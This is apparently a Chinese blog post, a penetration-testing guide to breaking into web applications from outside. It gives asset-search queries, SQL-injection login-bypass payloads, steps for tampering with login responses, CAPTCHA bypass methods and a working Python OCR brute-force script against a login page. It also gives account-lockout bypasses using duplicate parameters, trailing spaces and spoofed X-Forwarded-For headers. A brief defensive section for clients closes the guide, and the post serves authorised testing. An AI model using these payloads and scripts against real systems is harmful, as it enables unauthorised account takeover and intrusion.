第一部分:外网打点篇——边界突破

第一章:Web 应用层渗透

1.1 信息收集与指纹识别

目标:精准定位脆弱入口,避免无效攻击。

1.1.1 资产测绘实战

不要只盯着主域名,重点在"旁站"和"关联资产"。

  • FOFA/Hunter 语法:

    • title="后台登录":寻找管理入口。

    • body="index of" && country="CN":寻找目录遍历泄露。

    • cert="Target Inc":通过 SSL 证书查找关联 IP。

    • banner="Apache/2.4.49":直接匹配存在漏洞的中间件版本。

1.1.2 JS 敏感信息提取

现代 Web 前端高度依赖 JS,常泄露 API 接口。

  • 工具 :jsfinder, LinkFinder。

  • 实战命令:

    bash 复制代码
    python3 jsFinder.py -u https://target.com -output urls.txt
    grep "api" urls.txt | grep "admin"  # 筛选疑似管理后台的 API
  • 关键发现 :/api/v1/user/info, /api/v1/admin/login。这些接口通常缺乏 CSRF 保护,且认证逻辑较弱。


1.2 认证逻辑缺陷利用

核心:利用开发人员对流程设计的疏漏,而非代码漏洞。

1.2.1 状态码与返回包篡改

场景:前端仅根据响应包判断结果。

  • 测试方法:

    1. 使用 Burp Suite 拦截登录响应。

    2. 将 HTTP/1.1 401 Unauthorized改为 HTTP/1.1 200 OK。

    3. 修改 Body:{"code":401, "msg":"fail"}-> {"code":0, "msg":"success"}。

  • 结果:前端接收 200 状态码,误以为登录成功,直接跳转至后台。

1.2.2 万能密码(SQL 注入变体)

场景:老旧系统或未使用参数化查询的系统。

  • Payload:

    sql 复制代码
    admin' --
    admin' #
    ' OR '1'='1' --
    ') OR ('1'='1' --
  • 原理 :注释符 --或 #闭合了密码校验部分的 SQL 语句,使验证逻辑恒真。


1.3 验证码对抗策略

核心:验证码的目的是限制自动化,只要打破限制,爆破即可继续。

绕过类型 测试方法 工具/代码
前端校验​ 查看页面源码,验证码答案直接写在 JS 变量中。 浏览器开发者工具。
验证码复用​ 刷新登录页面,验证码不变。 Burp Repeater 重放。
为空绕过​ 删除 code参数。 code=或 删除该字段。
4位纯数字​ 穷举 0000-9999。 Burp Intruder (Numbers payload)。
OCR 识别​ 验证码干扰线弱。 ddddocr​ (Python库)。

实战脚本(OCR 爆破):

python 复制代码
import ddddocr, requests

ocr = ddddocr.DdddOcr()
session = requests.Session()

for pwd in open('pass.txt'):
    img = session.get('http://target/captcha.php').content
    code = ocr.classification(img)
    data = {'user':'admin', 'pass':pwd.strip(), 'code':code}
    res = session.post('http://target/login.php', data=data)
    if '欢迎' in res.text:
        print(f'Success: admin/{pwd}')
        break

1.4 账户锁定机制绕过

痛点:输错 5 次密码账户锁定 30 分钟。

1.4.1 参数污染 (HPP)

原理:后端解析参数时,只取第一个或最后一个值。

  • Payload :username=admin&username=wrong_user&password=123456

  • 效果 :系统锁定 wrong_user,但 admin账户依然可用,继续尝试下一个密码。

1.4.2 空格绕过

原理:数据库对尾随空格不敏感,但认证系统将其视为新用户。

  • Payload :user=admin(后面带空格)。

  • 效果:绕过"admin"账户的锁定计数器。

1.4.3 IP 轮换

原理:基于 IP 的锁定策略。

  • Header 注入:

    复制代码
    X-Forwarded-For: 1.1.1.1
    X-Real-IP: 2.2.2.2
  • 操作:每次爆破请求更换 IP Header。


1.5 防御视角(给客户)

  1. 统一错误提示:无论用户名是否存在,统一返回"用户名或密码错误",禁止区分提示。

  2. 验证码安全:

    • 验证码必须一次性有效(用完即焚)。

    • 增加行为验证码(滑动、点选),防止 OCR 识别。

  3. 锁定策略 :连续 5 次失败后,增加二次验证(短信/邮箱),而非单纯锁定账户。

相关推荐
网络毒刘19 分钟前
Manual 模式精修补丁:在 Agent 提案后用最小编辑完成高风险改动
安全·agent·ai编程·cursor
hasty1 小时前
超时不等于安全结束:Wasmtime 批量操作漏洞与取消后的状态一致性
安全
troy1282 小时前
智能体沙箱:如何为 Agent 模型搭建安全试验场,降低幻觉带来的损失
网络·安全
Chengbei112 小时前
拒绝无效洞!蚂蚁Src榜一Clown 2.0 SRC SKill 第二代带状态闭环的白盒 & 黑盒审计 Skill
网络·人工智能·安全·web安全·网络安全·自动化·安全架构
hasty3 小时前
安全扫描器也要被隔离:Trivy Terraform 文件读取漏洞与 CI 输出边界
安全·ci/cd·terraform
科技小登4 小时前
零信任与远程办公安全方案对比:身份认证、权限最小化与访问审计的选型测评
安全
事圆则缓5 小时前
Kotlin 入门与面试:从空安全、扩展函数到协程
安全·面试·kotlin
沫璃染墨5 小时前
《从零入门Linux系统篇(五十八):线程篇·十一——线程安全与死锁详解:从可重入到多锁管理》
linux·服务器·开发语言·c++·驱动开发·安全·架构
Flynt6 小时前
800KB 的 JSON 吃掉 8.5 秒 CPU:jackson 这波修复里,最容易被漏掉的洞藏在字符串里
java·安全
赛博守夜人6 小时前
跨境业务与出海合规之六:跨境数据出境与《个保法》/GDPR 冲突下的数据安全架构,技术隔离与加密信道实践
安全·安全架构